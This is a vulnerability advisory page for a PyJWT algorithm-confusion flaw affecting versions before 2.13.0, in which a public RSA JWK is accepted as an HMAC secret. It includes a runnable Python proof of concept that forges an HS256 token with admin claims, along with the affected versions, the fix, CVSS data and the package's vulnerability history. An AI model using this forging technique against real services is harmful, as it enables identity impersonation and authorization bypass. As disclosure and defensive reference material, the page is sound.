High

PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

  • Disclosed: 28.05.2026
  • Updated: 11.10.2026 15:17

[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in algorithms=[…] and a raw-JSON JWK as the key= argument, both contrary to documented usage, hence the High attack-complexity rating.

Summary

When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.

Details

In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:

jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))

An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.

If we look on current protections implemented in the library, at class HMACAlgorithm:

  def prepare_key(self, key: str | bytes) -> bytes:
        key_bytes = force_bytes(key)

        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
            raise InvalidKeyError(
                "The specified key is an asymmetric key or x509 certificate and"
                " should not be used as an HMAC secret."
            )

        return key_bytes

We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.

In The following example: jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"])) There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.

The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.

PoC

Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')

python
from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

# Attacker-crafted token: flip to HS256 and choose claims
header  = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload

# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()

# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'

Impact

Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pyjwt < 2.13.0 2.13.0

References

CVSS score 7.4/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness (CWE)
CWE-287, CWE-347
Platform
Python (PyPI)
Package
pyjwt
Disclosed
28.05.2026
Updated
11.10.2026 15:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-179 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-xgmm-8j9v-c9wx - CC BY 4.0

Vulnerability history: pyjwt

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (24) in the archive
Total entries
24
First → latest
08.2017 09.2026
Without a fix
2
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 10
  • Medium 11
  • Low 2

Disclosures per year

  1. 2017: 1
  2. 2018: 0
  3. 2019: 0
  4. 2020: 0
  5. 2021: 0
  6. 2022: 1
  7. 2023: 0
  8. 2024: 1
  9. 2025: 1
  10. 2026: 20
Severity:
  1. High · 7.4 CVE-2026-102266 >= 2.13.0, < 2.14.0 2.14.0
  2. High · 7.4 CVE-2026-102273 >= 2.13.0, < 2.14.0 2.14.0
  3. High · 7.4 CVE-2026-102267 < 2.14.0 2.14.0
  4. High · 7.4 CVE-2026-102272 >= 2.13.0, < 2.14.0 2.14.0
  5. PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed this entry
    High · 7.4 CVE-2026-48526 < 2.13.0 2.13.0
  6. High · 7.5 CVE-2026-32597 < 2.12.0 2.12.0
  7. High · 7.4 CVE-2022-29217 >= 1.5.0, < 2.4.0 2.4.0
  8. High · 7.5 CVE-2017-11424 < 1.5.1 1.5.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.